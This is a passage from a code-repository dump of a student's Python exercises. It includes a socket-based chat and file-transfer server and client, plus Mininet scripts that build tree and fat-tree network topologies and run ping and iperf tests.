\"say_byebye\"):\n sendmsg(skt,\"byebye$\")\n sendmsg(skt1, \"byebye$\")\n if (msg[0] == \"receive_file_request\"):\n print(\"收到文件接收请求:\"+str(msg))\n username1 = msg[1]\n skt1 = userstate[username1]\n sendmsg(skt,\"receive_file_permission$\")\n file_permission=1\n msg=skt.recv(100).decode(\"utf-8\")\n while(file_permission!=2):\n pass\n sendmsg(skt1,msg)\n\n if(msg[0]==\"send_file_request\"):\n print(\"收到文件发送请求:\" + str(msg))\n while(file_permission!=1):\n pass\n sendmsg(skt,\"send_file_permission$\")\n file_permission=2\n\n if (msg[0] == \"receive_file_over\"):\n file_permission = 0\n\n if (msg[0] == \"logout\"):\n print(\"已退出:\"+msg[1])\n del userstate[username]\n\n if(msg[0]==\"start_send_file\"):\n\n username1 = msg[1]\n skt1 = userstate[username1]\n sendmsg(skt1,\"file_ready$\")\n\n '''\n \n fileinfo_size = struct.calcsize(\"128sl\")\n buf = skt.recv(fileinfo_size)\n sendmsg(skt1, buf)\n filename, filesize = struct.unpack(\"128sl\", buf)\n recvd_size = 0\n while recvd_size < filesize:\n if (filesize - recvd_size > 1024):\n data = skt.recv(1024)\n recvd_size += len(data)\n sendmsg(skt1,data)\n process = recvd_size / filesize * 100\n print(\"接收中: \" + \"%.2f\" % process + \"%\")\n else:\n data = skt.recv(filesize - recvd_size)\n recvd_size = filesize\n print(\"接收完毕!\")\n \n '''\n\n while (1):\n msg = skt.recv(1024)\n try:\n if(msg.decode(\"utf-8\").startswith(\"send_file_over$\")):\n break\n except UnicodeDecodeError:\n pass\n skt1.send(msg)\n #file_permission = 0\n print(\"退出文件发送\")\n\n\n\n\n\n #chat_with_sb(username, skt, username1)\n\n\n #a_to_b=threading.Thread(target=chat_with_sb,args=(skt,username))\n #b_to_a = threading.Thread(target=chat_with_sb, args=(username, username))\n\ndef send_usertemp(skt):\n global userstate\n # 发送在线名单\n usertemp = \"\"\n try:\n for user in userstate.keys():\n usertemp=usertemp+user+\"\\n\"\n except Exception:\n usertemp = \"\"\n sendmsg(skt, usertemp)\n return\n\n'''\ndef chat_with_sb(username,skt,username1):\n\n # 我方用户名username,我方socket为skt\n # 对方用户名username1,对方socket为chatwith\n chatwith=userstate[username1]\n while (1):\n try:\n data = skt.recv(100)\n msg = data.decode(\"utf-8\")\n except Exception:\n print(\"异常\")\n break\n msg_with_head = username + \": \" + msg\n print(\"收到消息:\" + msg_with_head)\n if(msg==\"byebye\"):\n #向对方通知这边退出。msg原始信息(不含用户名头)\n sendmsg(chatwith,msg)\n print(username+\" 主动退出。\")\n break\n sendmsg(chatwith,msg_with_head)\n server_user_online(skt,username)\n'''\n\n\n\n\n\ndef tcp_link(conn,addr):\n #conn.send(\"Welcome!\".encode(\"utf-8\"))\n while(1):\n try:\n data=conn.recv(100)\n msg=data.decode(\"utf-8\")\n except Exception:\n print(\"一客户端登出\")\n break\n print(\"收到消息:\"+msg)\n if(msg.startswith(\"signup_guide$\")):\n server_signup(conn)\n if(msg.startswith(\"login_guide$\")):\n server_login(conn)\n\n\n if not data:\n break\n msg=time.strftime(\"%y-%m-%d %x\")\n conn.send(msg.encode(\"utf-8\"))\n conn.close()\n\n\n\ndef main():\n global usermap\n usermap=shelve.open(\"userinfo\")\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n s.bind(addr0)\n s.listen(10)\n print(\"开始监听\")\n\n\n while(1):\n conn,addr=s.accept()\n print(\"已连接:\"+str(addr))\n t=threading.Thread(target=tcp_link,args=(conn,addr))\n t.start()\n s.close()\n usermap.close()\n\n\nif __name__==\"__main__\":\n main()\n" }, { "alpha_fraction": 0.5347334146499634, "alphanum_fraction": 0.5799676775932312, "avg_line_length": 19.566667556762695, "blob_id": "afa306e37171d96c3c3cd512431da3bf2ba9a65e", "content_id": "6f320e0c01c7c41b4267e8e22912295e161bcf83", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 653, "license_type": "no_license", "max_line_length": 43, "num_lines": 30, "path": "/chatapp/pretest2.py", "repo_name": "SiruiHe/PythonExercise", "src_encoding": "UTF-8", "text": "'''\nimport socket\nclass User:\n def __init__(self,skt,username=\"null\"):\n self.skt=skt\n self.username=username\n #self.password=password\n def sendmsg(self,msg):\n self.skt.send(msg.encode(\"utf-8\"))\n def logout(self):\n self.skt.close()\n\nhello={\"何思睿\":\"540660919\",\"黄宸睿\":\"1128321\"}\nfor name in hello.keys():\n print(name)\n'''\nimport threading,time\n\ndef test():\n for i in range(1,50):\n print(\"子线程\"+str(i))\n\na=threading.Thread(target=test)\na.start()\nfor j in range(10,20):\n print(\"父线程\" + str(j))\n if(j==15):\n print(\"父线程挂起\")\n time.sleep(10)\na.join()\n\n\n" }, { "alpha_fraction": 0.4601820111274719, "alphanum_fraction": 0.4825085401535034, "avg_line_length": 26.908729553222656, "blob_id": "cd5d6c7670862c77c5e5dd923da6b55c9fa2d5c9", "content_id": "20411d38d15a4e559df7e96cda15900a47025e22", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7646, "license_type": "no_license", "max_line_length": 94, "num_lines": 252, "path": "/chatapp/client3.5.py", "repo_name": "SiruiHe/PythonExercise", "src_encoding": "UTF-8", "text": "import threading, time, socket,os,struct,requests\n#服务器公网ip地址\nhost =\"127.0.0.1\"#\"81.70.245.218\"\nport = 8888\naddr0 = (host, port)\nclinet_receive_flag = 0\n\n\ndef sendmsg(skt, msg=\"\", head=\"\"):\n if len(head) > 0:\n msg = head + msg\n skt.send(msg.encode(\"utf-8\"))\n\n\ndef client_signup(skt):\n print(\"欢迎注册!\")\n guide = \"signup_guide$\"\n skt.send(guide.encode(\"utf-8\"))\n while (1):\n username = input(\"请输入您想使用的用户名:\")\n text = \"signup_username$\" + username\n skt.send(text.encode(\"utf-8\"))\n msg = skt.recv(100).decode(\"utf-8\")\n\n password = input(\"请输入您想设置的密码:\")\n text = \"signup_password$\" + password\n skt.send(text.encode(\"utf-8\"))\n msg = skt.recv(100).decode(\"utf-8\")\n\n if (msg.lower() == \"signup_ok\"):\n print(\"注册成功,转入登陆界面\")\n break\n else:\n print(\"注册失败,请重试\")\n client_login(skt)\n return\n\n\ndef client_login(skt):\n print(\"欢迎登录!\")\n guide = \"login_guide$\"\n skt.send(guide.encode(\"utf-8\"))\n while (1):\n username = input(\"请输入您的用户名:\")\n sendmsg(skt, username, \"login_username$\")\n\n password = input(\"请输入您的密码:\")\n sendmsg(skt, password, \"login_password$\")\n msg = skt.recv(100).decode(\"utf-8\")\n if (msg.lower() == \"login_ok\"):\n print(\"登录成功\")\n break\n else:\n print(\"登录失败,请重试\")\n\n # 转入本客户机发送过程\n client_online(skt)\n return\n\n\ndef client_online(skt):\n global clinet_receive_flag\n print(\"登陆成功!\")\n while (1):\n clinet_receive_flag = 0\n # stop=0\n while (1):\n # 获取在线用户\n sendmsg(skt, \"get_usertemp$\")\n msg = skt.recv(100).decode(\"utf-8\")\n\n print(\"\\n当前在线的用户有:\\n\" + msg)\n chatwith = input(\"请输入用户的名字:\")\n sendmsg(skt, chatwith, \"online_or_not$\")\n msg = skt.recv(100).decode(\"utf-8\")\n if (msg.startswith(\"online$\")):\n break\n if (msg.startswith(\"offline$\")):\n print(\"无法与此用户取得联系,请重试。\")\n\n\n while(1):\n print(\"请选择您想做的事情:\")\n print(\"1.聊天\\t2.发文件\\t3.收文件\\t4.退出程序\\t\")\n choice2=int(input(\">>\"))\n if(choice2 in [1,2,3,4]):\n break\n\n # 开始聊天\n if(choice2==1):\n print(\"向用户 \" + chatwith + \" 发送消息\")\n clinet_receive = threading.Thread(target=clinet_thread_receive, args=(skt,))\n clinet_receive.start()\n\n while (1):\n msg = input()\n if(len(msg)==0):\n break\n sendmsg(skt, chatwith + \"$\" + msg, \"chat_with_sb$\")\n if (msg.startswith(\"byebye\")):\n sendmsg(skt, \"say_byebye$\")\n clinet_receive_flag = 1\n time.sleep(0.2)\n clinet_receive.join()\n break\n\n #发文件\n elif(choice2==2):\n print(\"向用户 \" + chatwith + \" 传输文件\")\n print(\"接收方准备中...\")\n sendmsg(skt, chatwith + \"$\", \"send_file_request$\")\n msg=skt.recv(100).decode(\"utf-8\")\n\n if(msg.startswith(\"send_file_permission$\")):\n clinet_send_file(skt,chatwith)\n\n elif (choice2 == 3):\n print(\"从用户 \" + chatwith + \" 接收文件\")\n sendmsg(skt, chatwith + \"$\", \"receive_file_request$\")\n msg = skt.recv(100).decode(\"utf-8\")\n\n if (msg.startswith(\"receive_file_permission$\")):\n clinet_receive_file(skt)\n\n elif (choice2 == 4):\n return\n\n\n\n\ndef clinet_send_file(skt,chatwith):\n print(\"欢迎来到发送界面!\")\n sendmsg(skt,chatwith+\"$\",\"start_send_file$\")\n count = 0\n while (1):\n filepath = input(\"输入要发送的文件路径:\")\n #if len(filepath) == 0:\n # filepath = r\"C:\\Users\\sword\\Pictures\\老中青.JPG\"\n if os.path.isfile(filepath):\n fileinfo_size = struct.calcsize(\"128sl\")\n filehead = struct.pack(\"128sl\", bytes(os.path.basename(filepath).encode('utf-8')),\n os.stat(filepath).st_size)\n skt.send(filehead)\n print(\"接收方文件路径:{}\".format(filepath))\n\n fp = open(filepath, \"rb\")\n while (1):\n data = fp.read(1024)\n count += len(data)\n if not data:\n print(\"{0} 此文件发送完成.\".format(filepath))\n break\n skt.send(data)\n process = count / os.stat(filepath).st_size * 100\n # print(\"Receiving process: \" + \"%.2f\" % process + \"%\")\n print(\"发送中: \" + \"%.2f\" % process + \"%\")\n sendmsg(skt,\"send_file_over$\")\n #skt_send.close()\n break\n time.sleep(0.3)\n return\n\ndef clinet_receive_file(skt):\n print(\"欢迎来到接收界面!\")\n\n while(1):\n msg=skt.recv(100).decode(\"utf-8\")\n print(msg)\n if(msg.startswith(\"file_ready$\")):\n print(\"连接成功!\")\n break\n\n while (1):\n fileinfo_size = struct.calcsize(\"128sl\")\n buf = skt.recv(fileinfo_size)\n if buf:\n filename, filesize = struct.unpack(\"128sl\", buf)\n\n # 去除空格\n fn = filename.decode().strip(\"\\00\")\n\n new_filename = os.path.join(\"./\", \"new_\" + fn)\n print(\"接收的新文件为 {0},文件大小为 {1}\".format(new_filename, filesize))\n\n recvd_size = 0\n fp = open(new_filename, \"wb\")\n print(\"开始接收文件...\")\n\n # while not recvd_size==filesize:\n while recvd_size < filesize:\n if (filesize - recvd_size > 1024):\n data = skt.recv(1024)\n recvd_size += len(data)\n process = recvd_size / filesize * 100\n print(\"接收中: \" + \"%.2f\" % process + \"%\")\n else:\n data = skt.recv(filesize - recvd_size)\n recvd_size = filesize\n fp.write(data)\n fp.close()\n print(\"接收完毕!\")\n #conn.close()\n break\n sendmsg(skt,\"receive_file_over$\")\n return\n\n\n\ndef clinet_thread_receive(skt):\n global clinet_receive_flag\n while (1):\n if (clinet_receive_flag == 1):\n break\n msg = skt.recv(100).decode(\"utf-8\")\n if (msg.startswith(\"byebye$\")):\n break\n print(\"\\n\" + msg)\n print(\"监听线程退出。继续...\")\n # return\n\n\ndef main():\n skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n skt.connect(addr0)\n print(\"连接成功。请选择...\")\n print(\"1.注册\\t2.登陆\\t\")\n choice1 = input(\">>\")\n if (choice1 == \"1\"):\n client_signup(skt)\n if (choice1 == \"2\"):\n client_login(skt)\n\n sendmsg(skt,str(skt.getsockname()),\"logout$\")\n skt.close()\n print(\"再见!\")\n '''\n while(1):\n data=input(\"输入:\")\n if not data:\n break\n skt.send(data.encode(\"utf-8\"))\n data=skt.recv(100)\n if not data:\n break\n print(\"收到消息:\"+data.decode(\"utf-8\"))\n skt.close()\n '''\n\n\n\nif __name__ == '__main__':\n main()" }, { "alpha_fraction": 0.5596246123313904, "alphanum_fraction": 0.580682098865509, "avg_line_length": 30.66666603088379, "blob_id": "5ca65e778d9a550cf08f9d249161e7e8a3ba60b4", "content_id": "e3d3795d3a6611e811f39dac6c86afdf203cb524", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4369, "license_type": "no_license", "max_line_length": 78, "num_lines": 138, "path": "/.history/fat_tree_20210324114131.py", "repo_name": "SiruiHe/PythonExercise", "src_encoding": "UTF-8", "text": "'''\nfrom mininet.net import Mininet\nfrom mininet.topo import *\nfrom mininet.topolib import *\nTree22=TreeTopo(depth=2,fanout=2)\nnet=Mininet(topo=Tree22)\nnet.start()\nnet.pingAll()\nnet.stop()\n'''\n#!/usr/bin/python\nfrom mininet.topo import Topo\nfrom mininet.net import Mininet\nfrom mininet.link import TCLink\nfrom mininet.node import RemoteController\nfrom mininet.util import dumpNodeConnections\nfrom mininet.cli import CLI\nfrom mininet.log import setLogLevel, info\nimport os, time\n\nclass FatTreeTopo(Topo):\n info('CreatFatTreeTopo')\n \"\"\"define Protocol\"\"\"\n protocal = 'OpenFlow13'\n \"\"\"define controller\"\"\"\n crtlname = 'crtl0'\n crtlip ='127.0.0.1'\n crtlport = 6653\n crtl = RemoteController(crtlname, ip=crtlip, port=crtlport)\n \"\"\"define Links types\"\"\"\n linkopts100M = dict(bw=100, delay='0ms', loss=0)\n linkopts1G = dict(bw=1000, delay='0ms', loss=0)\n coreSW = []\n aggSW = []\n eggSW = []\n hList = []\n pods = 2\n \"\"\"\n coreSwitch: Fat Free Topology Cores\n pods: group of switches that contain\n several aggregation switches and edge switches\n agpp: aggregation switches per pod\n egpp: edge switches per pod\n hpe: hosts per edge\n \"\"\"\n def __init__(self):\n info('FTT Init')\n Topo.__init__(self)\n\n def topoCreate(self,coreSwitch,pods,agpp,egpp,hpe,**opts):\n info('Building Topo')\n self.pods = pods\n self.coreSW = self.addCoreSwitch(coreSwitch)\n for pod in range(pods):\n self.aggSW.append(self.addAggregationSwitch(pod,agpp))\n self.eggSW.append(self.addEdgeSwitch(pod,agpp,egpp))\n for ew in range(egpp):\n self.hList.append(self.addFatHost(pod,ew,hpe))\n\n def addCoreSwitch(self,num):\n info('Adding Core Switch')\n CoreSwitch = []\n for n in range(num):\n CoreSwitch.append(self.addSwitch('c%s'%(n),\n protocols=self.protocal))\n return CoreSwitch\n\n def addAggregationSwitch(self,pod,num):\n info('Adding Aggregation Switch')\n\n AggregationSwitch = []\n for n in range(num):\n AggregationSwitch.append(self.addSwitch('s1%s%s'%(pod,n),\n protocols=self.protocal))\n if n <= int(num/self.pods):\n for p in range(0,int(self.pods/2)):\n self.addLink('s1%s%s'%(pod,n),'c%s'%(p),**self.linkopts1G)\n else:\n for p in range(int(pod/2),pod):\n self.addLink('s1%s%s'%(pod,n),'c%s'%(p),**self.linkopts1G)\n return AggregationSwitch\n\n def addEdgeSwitch(self,pod,agpp,num):\n info('Adding Edge Switch')\n EdgeSwitch = []\n for n in range(num):\n EdgeSwitch.append(self.addSwitch('s2%s%s'%(pod,n),\n protocols=self.protocal))\n for a in range(agpp):\n self.addLink('s2%s%s'%(pod,n),'s1%s%s'%(pod,a))\n\n return EdgeSwitch\n\n def addFatHost(self,pod,edge,num):\n info('Adding Host')\n host = []\n for n in range(num):\n host.append(self.addHost('h%s%s%s'%(pod,edge,n)))\n self.addLink('h%s%s%s'%(pod,edge,n),'s2%s%s'%(pod,n))\n return host\n\n def addFatLinks(self,target1,target2,linktype):\n info('Adding Links')\n\ndef RunTest():\n \"\"\"TOPO\"\"\"\n topo = FatTreeTopo()\n topo.topoCreate(4,4,2,2,2)\n\n CONTROLLER_NAME = topo.crtlname\n CONTROLLER_IP = topo.crtlip\n CONTROLLER_PORT = topo.crtlport\n net = Mininet(topo=topo,build= False,link=TCLink, controller=None)\n time.sleep(1)\n net.addController( CONTROLLER_NAME,controller=RemoteController,\n ip=CONTROLLER_IP,\n port=CONTROLLER_PORT)\n\n net.start()\n dumpNodeConnections(net.hosts)\n net.pingAll()\n h1 = net.get('h000')\n h16 = net.get('h311')\n h2 = net.get('h001')\n h1.popen('iperf -s -u -i 1')\n h16.popen('iperf -s -u -i 1')\n h2.cmdPrint('iperf -c '+ h1.IP() + ' -u -t 10 -i 1 -b 100m')\n h2.cmdPrint('iperf -c '+ h16.IP() + ' -u -t 10 -i 1 -b 100m')\n CLI(net)\n net.stop()\n\nif __name__ == '__main__':\n # Tell mininet to print useful information\n setLogLevel('info')\n if os.getuid() != 0:\n info(\"You are NOT root\")\n elif os.getuid() == 0:\n RunTest()" }, { "alpha_fraction": 0.5925925970077515, "alphanum_fraction": 0.6296296119689941, "avg_line_length": 27, "blob_id": "f3d8b49883491eccc5091cd1321848fdf7245185", "content_id": "19249e9571923113ab4c20a9c22da5934e935910", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 27, "license_type": "no_license", "max_line_length": 27, "num_lines": 1, "path": "/.history/material/test2_20210314104127.py", "repo_name": "SiruiHe/PythonExercise", "src_encoding": "UTF-8", "text": "print(\"THis is a test\"+\"3\")" }, { "alpha_fraction": 0.4707367718219757, "alphanum_fraction": 0.4840281903743744, "avg_line_length": 38.66783905029297, "blob_id": "8ca21aaac2f94617adb689480ccb610cdf72861f", "content_id": "845961e8ab02017aaf1f135abb6d89ab5a14ca13", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 22571, "license_type": "no_license", "max_line_length": 208, "num_lines": 569, "path": "/fattree2.py", "repo_name": "SiruiHe/PythonExercise", "src_encoding": "UTF-8", "text": "############################################\n# @dcarou - [email protected]\n############################################\n# !/usr/bin/python\n# -*- coding: utf-8 -*-\nfrom mininet.topo import Topo\nfrom mininet.net import Mininet\nfrom mininet.link import TCLink\nfrom mininet.util import irange, dumpNodeConnections\nfrom mininet.log import setLogLevel\nfrom mininet.clean import cleanup\nfrom mininet.cli import CLI\nfrom mininet.util import pmonitor\nfrom mininet.node import OVSSwitch, OVSKernelSwitch\nimport time\nimport os\nimport sys\n\n\n# Creates Simple Tree Topology\nclass SimpleTreeTopology(Topo):\n def __init__(self, linkopts1, linkopts2, linkopts3, k=2, **opts):\n\n # linkopts1 = performance parameters for the links between core and aggregation switches\n # linkopts2 = performance parameters for the links between aggregation and edge switches\n # linkopts3 = performance parameters for the links between edge switches and host\n\n super(SimpleTreeTopology, self).__init__(**opts)\n self.fanout = k\n # Adds Core Switch\n coreSwitch = self.addSwitch(\"s1\")\n countS = 1\n countH = 0\n self.edgeHostConn = 0\n self.numAgg = 0\n self.numEdge = 0\n self.edgeAggConn = 0\n self.aggCoreConn = 0\n\n # Adds Aggregation Switches and links them to Core Switch\n for i in irange(1, k):\n countS = countS + 1\n aggregationSwitch = self.addSwitch(\"s%s\" % (countS))\n self.numAgg += 1\n self.addLink(aggregationSwitch, coreSwitch, **linkopts1)\n self.aggCoreConn += 1\n\n # Adds Edge Switches and links them to Aggregation Switches\n for j in irange(1, k):\n countS = countS + 1\n edgeSwitch = self.addSwitch(\"s%s\" % (countS))\n self.numEdge += 1\n self.addLink(edgeSwitch, aggregationSwitch, **linkopts2)\n self.edgeAggConn += 1\n\n # Adds Hosts and links them to Edge Switches\n for n in irange(1, k):\n countH = countH + 1\n host = self.addHost(\"h%s\" % countH)\n self.addLink(host, edgeSwitch, **linkopts3)\n self.edgeHostConn += 1\n\n print(\"\\n---------------------%s-ary simple tree ---------------\" % self.fanout)\n print(\"edge switch-host connections : %s\" % self.edgeHostConn)\n print(\"edge switch-aggregation switch connections: %s\" % self.edgeAggConn)\n print(\"aggregation switch-core switch connections: %s\" % self.aggCoreConn)\n print(\"number of edge switches : %s\" % self.numEdge)\n print(\"number of aggregation switches : %s\" % self.numAgg)\n print(\"number of core switches : 1\")\n print(\"total number of hosts : %s\" % countH)\n print(\"-----------------------------------------------------\")\n\n\n# Creates Fat Tree Topology\nclass FatTreeTopology(Topo):\n\n def __init__(self, linkopts1, linkopts2, linkopts3, k=2, **opts):\n\n # linkopts1 = performance parameters for the links between core and aggregation switches\n # linkopts2 = performance parameters for the links between aggregation and edge switches\n # linkopts3 = performance parameters for the links between edge switches and host\n\n super(FatTreeTopology, self).__init__(**opts)\n self.fanout = k\n self.pods = []\n self.cores = []\n self.countHosts = 0\n self.countSwitch = 0\n self.hostForPod = 0\n self.switchPerLayer = (self.fanout / 2)\n self.edgeHostConn = 0\n self.edgeAggConn = 0\n self.aggCoreConn = 0\n self.numCores = 0\n\n # Creates Core Switches\n countCores = (self.fanout / 2) ** 2\n for i in irange(1, countCores):\n self.countSwitch += 1\n coreSwitch = self.addSwitch(\"s%s\" % (self.countSwitch), cls=OVSKernelSwitch, failMode='standalone')\n self.cores.append(coreSwitch)\n self.numCores += 1\n\n # Creates Pods + Hosts\n for i in irange(1, self.fanout):\n self.pods.append(self.createPod(i, linkopts2, linkopts3))\n\n # Links Core Switches to Pods\n count = 0 # Core switch Position\n for i in self.cores:\n for j in self.pods:\n if count < (self.fanout / 2):\n self.addLink(j.layers[0][((self.fanout / 2) / 2) - 1], i, **linkopts1)\n else:\n self.addLink(j.layers[0][((self.fanout / 2) / 2)], i, **linkopts1)\n self.aggCoreConn += 1\n count += 1\n\n self.corePodConn = self.numCores * k\n\n print(\"\\n---------------------%s-ary fat tree ---------------\" % self.fanout)\n print(\"number of pods : %s\" % self.fanout)\n print(\"hosts per pod : %s\" % self.hostForPod)\n print(\"number of switches per layer in pod : %s\" % self.switchPerLayer)\n print(\"number of switch ports in pod : %s\" % self.fanout)\n print(\"edge switch-host connections : %s\" % self.edgeHostConn)\n print(\"edge switch-aggregation switch connections: %s\" % self.edgeAggConn)\n print(\"aggregation switch-core switch connections: %s\" % self.aggCoreConn)\n print(\"number of core switches : %s\" % self.numCores)\n print(\"number of pods core switches connect to : %s\" % self.corePodConn)\n print(\"total number of hosts : %s\" % self.countHosts)\n print(\"-----------------------------------------------------\")\n\n # Function for Creating Pods\n def createPod(self, index, linkopts2, linkopts3):\n pod = Pod()\n numberOfSwitches = (self.fanout / 2)\n self.hostForPod = 0\n\n # Adds aggregation and edge switches\n for i in irange(1, numberOfSwitches):\n self.countSwitch += 1\n aggSwitch = self.addSwitch(\"s%s\" % (self.countSwitch), cls=OVSKernelSwitch, failMode='standalone')\n pod.layers[0].append(aggSwitch)\n\n self.countSwitch += 1\n edgeSwitch = self.addSwitch(\"s%s\" % (self.countSwitch), cls=OVSKernelSwitch, failMode='standalone')\n pod.layers[1].append(edgeSwitch)\n for j in irange(1, self.fanout / 2):\n self.countHosts += 1\n host = self.addHost(\"h%s\" % (self.countHosts))\n self.addLink(host, edgeSwitch, **linkopts3)\n self.edgeHostConn += 1\n self.hostForPod += 1\n\n for i in pod.layers[\n 0]: # For each aggregation switch, adds a link between itself and an edge switch // [0] agg [1] edge\n for j in pod.layers[1]:\n self.addLink(j, i, **linkopts2)\n self.edgeAggConn += 1\n\n return pod\n\n\n# Pod Object with attribute layers\n# On first position are the aggregation switches, and on the second the edge switches\nclass Pod(object):\n def __init__(self):\n self.layers = [[], []]\n\n\n# Creates a Simple Tree Topology\ndef startSimpleTreeTopology(fanout=2, linkopts1={'bw': 20}, linkopts2={'bw': 1}, linkopts3={'bw': 10}):\n topo = SimpleTreeTopology(linkopts1, linkopts2, linkopts3, k=fanout)\n net = Mininet(topo, link=TCLink)\n net.start()\n # CLI(net)\n return net\n\n\n# Creates a Fat Tree Topology\ndef startFatTreeTopology(fanout=4, linkopts1={'bw': 10}, linkopts2={'bw': 10}, linkopts3={'bw': 10}):\n topo = FatTreeTopology(linkopts1, linkopts2, linkopts3, k=fanout)\n net = Mininet(topo, link=TCLink)\n net.start()\n print(\"Loading Spanning Tree Protocol...\")\n # For each switch, enables stp\n for switch in net.switches:\n os.system('ovs-vsctl set Bridge \"%s\" stp_enable=true' % switch.name)\n time.sleep(len(net.switches) * 2) # Waits until all switches are enabled\n # CLI(net)\n return net\n\n\n# Given a specific parameter, it returns the minimum value between hostSrc and hostDst for that parameter\n# eg. Param = \"bw\"\ndef getMinParamBetweenHosts(net, hostSrc, hostDst, param):\n minValue = 0\n nameNode1 = hostSrc\n nameNode2 = hostDst\n\n # Gets the first matched value\n for link in net.links:\n if link.intf1.name.split(\"-\")[0] == hostSrc:\n minValue = link.intf1.params[param]\n break\n\n # Goes trough the tree from the leafs to the root, compares the values,\n # and returns the minimum value for the given parameter\n while (True):\n for link in net.links:\n\n if (link.intf1.name.split(\"-\")[0] == nameNode1):\n if minValue > link.intf1.params[param]:\n minValue = link.intf1.params[param]\n nameNode1 = link.intf2.name.split(\"-\")[0]\n break\n\n for link2 in net.links:\n if (link2.intf1.name.split(\"-\")[0] == nameNode2):\n if minValue > link2.intf1.params[param]:\n minValue = link2.intf1.params[param]\n nameNode2 = link2.intf2.name.split(\"-\")[0]\n break\n\n if nameNode1 == nameNode2:\n return minValue\n\n\n# Given a specific hostSrc and hostDst, it returns the path and the total delay between them\ndef getPathAndDelayBetweenHosts(net, hostSrc, hostDst):\n result = {'path': \"\", 'sumDelays': 0}\n nameNode1 = hostSrc\n nameNode2 = hostDst\n param = 'delay'\n\n srcToDst = (nameNode1 + \"-\")\n dstToSrc = nameNode2\n\n # Goes trough the tree from the leafs to the root,\n # and returns the path and total delay between hostSrc and hostDst\n while (True):\n\n for link in net.links:\n\n if (link.intf1.name.split(\"-\")[0] == nameNode1):\n result['sumDelays'] += int(link.intf1.params[param].split(\"ms\")[0])\n nameNode1 = link.intf2.name.split(\"-\")[0]\n srcToDst += (nameNode1 + \"-\")\n break\n\n for link2 in net.links:\n if (link2.intf1.name.split(\"-\")[0] == nameNode2):\n result['sumDelays'] += int(link.intf1.params[param].split(\"ms\")[0])\n nameNode2 = link2.intf2.name.split(\"-\")[0]\n dstToSrc = (nameNode2 + \"-\" + dstToSrc)\n break\n\n if nameNode1 == nameNode2:\n srcToDst = srcToDst.replace(\"-\" + nameNode1, '')\n result['path'] = srcToDst + dstToSrc\n result['sumDelays'] = result['sumDelays'] * 2\n return result\n\n\n# iPerf Test\ndef testIperf(net, hostSrc, hostDst):\n nodeHostSrc, nodeHostDst = net.get(hostSrc, hostDst)\n print\n \"\\n\\n###########################\"\n print\n \"######### Result ##########\"\n print\n \"###########################\\n\"\n print(\"Expected Value = \" + str(getMinParamBetweenHosts(net, hostSrc, hostDst, \"bw\")) + \"Mbits/sec\\n\")\n net.iperf((nodeHostSrc, nodeHostDst))\n\n\ndef explanationIperf(optionMenu):\n print\n \"\\n\\n###########################\"\n print\n \"####### Explanation #######\"\n print\n \"###########################\\n\"\n if optionMenu == 1:\n print\n \"\\nThe throughputs given to the links are, as following:\"\n print\n \" 1 - Core to Aggregation Switches: 20 Mb/s\"\n print\n \" 2 - Aggregation to Edge Switches: 1 Mb/s\"\n print\n \" 3 - Edge Switches to Hosts: 10 Mb/s\"\n if optionMenu == 2:\n print\n \"\\nThe throughputs given to the links are, as following:\"\n print\n \" 1 - Core to Aggregation Switches: 10 Mb/s\"\n print\n \" 2 - Aggregation to Edge Switches: 10 Mb/s\"\n print\n \" 3 - Edge Switches to Hosts: 10 Mb/s\"\n print\n \"Baring this values in mind, and since the maximum speed of a connection is limited\"\n print\n \"to the maximum speeds of the links it passes through, the expected speed of this\"\n print\n \"specific connection can be obtained by looking at all these links, comparing their\"\n print\n \"respective connection speeds, and then selecting the minimum value among them.\\n\"\n\n\ndef explanationPing(net, src, dst, link1, link2, link3):\n pathAndDelay = getPathAndDelayBetweenHosts(net, src, dst)\n print\n \"\\n\\n###########################\"\n print\n \"####### Explanation #######\"\n print\n \"###########################\\n\"\n print\n \"\\nAs observed, the value for the first Ping is higher than expected.\"\n print\n \"This happens because the switch as to first go to the controller in order\"\n print\n \"to get the desired route.\\n\"\n print(\"\\nDELAYS:\\n\\tCore <-> Aggregation = %s \\n\\tAggregation <-> Edge = %s\\n\\tEdge <-> Host = %s\" % (\n link1['delay'], link2['delay'], link3['delay']))\n print(\"\\nThe path between %s and %s is [%s] (round trip)\" % (src, dst, pathAndDelay['path']))\n print\n \"Then, and since the delay for each link above, the expected time for\"\n print\n \"the Ping command would be around %sms.\\n\" % pathAndDelay['sumDelays']\n\n\ndef explanationPingLoss():\n print\n \"\\n\\n###########################\"\n print\n \"####### Explanation #######\"\n print\n \"###########################\\n\"\n print\n \"5 packets are sent assuming 10% loss in which one of them.\\nSo, 5*10% = 50%, which means that half a packet is loss.\\nSince once a packet is corrupted, it is therefore discarted, a whole packet is lost.\"\n print(\n \"Based of following formula: \\n\\tnumber packets lost / number packets trasmitted\\n4we have 1 packet lost / 5 packets trasmitted = 20% packet loss -> minimum expected packet loss value.\")\n print\n \"Anything higher than this value, are due to possible network issues.\"\n\n\ndef testPing(net, node1, node2):\n print\n \"\\n\\n#############################################\"\n print\n \"######## Pinging between %s and %s ##########\" % (node1, node2)\n print\n \"#############################################\\n\"\n\n popens = {}\n srcH, dstH = net.get(node1, node2)\n\n numberOfPings = 5\n\n popens[dstH] = srcH.popen(\"ping -c5 %s\" % dstH.IP())\n aux = 1\n for h, line in pmonitor(popens):\n if (h):\n print\n line,\n\n\n# Main Function\ndef run():\n cleanup()\n exit = False\n net = None\n\n while (not exit):\n # Menu\n print\n \"\\n\\n######################################\"\n print\n \"#### Protocolos em Redes de Dados ####\"\n print\n \"######################################\\n\"\n print\n \"Main Menu:\\n\"\n print\n \" 1 - Simple Tree Topology\"\n print\n \" 2 - Fat Tree Topology\"\n print\n \" 3 - Exit Program\\n\"\n mainOption = input('Please select an option from the menu: ')\n\n if (mainOption == 3):\n exit = True\n\n if (mainOption == 1 or mainOption == 2):\n simpleGoBack = False\n fatGoBack = False\n createdTopo = False\n createdTopoPing = False\n createdTopoPingLoss = False\n print\n \"\\n\\n######################################\"\n if (mainOption == 1):\n print\n \"####### Simple Tree Topology #######\"\n if 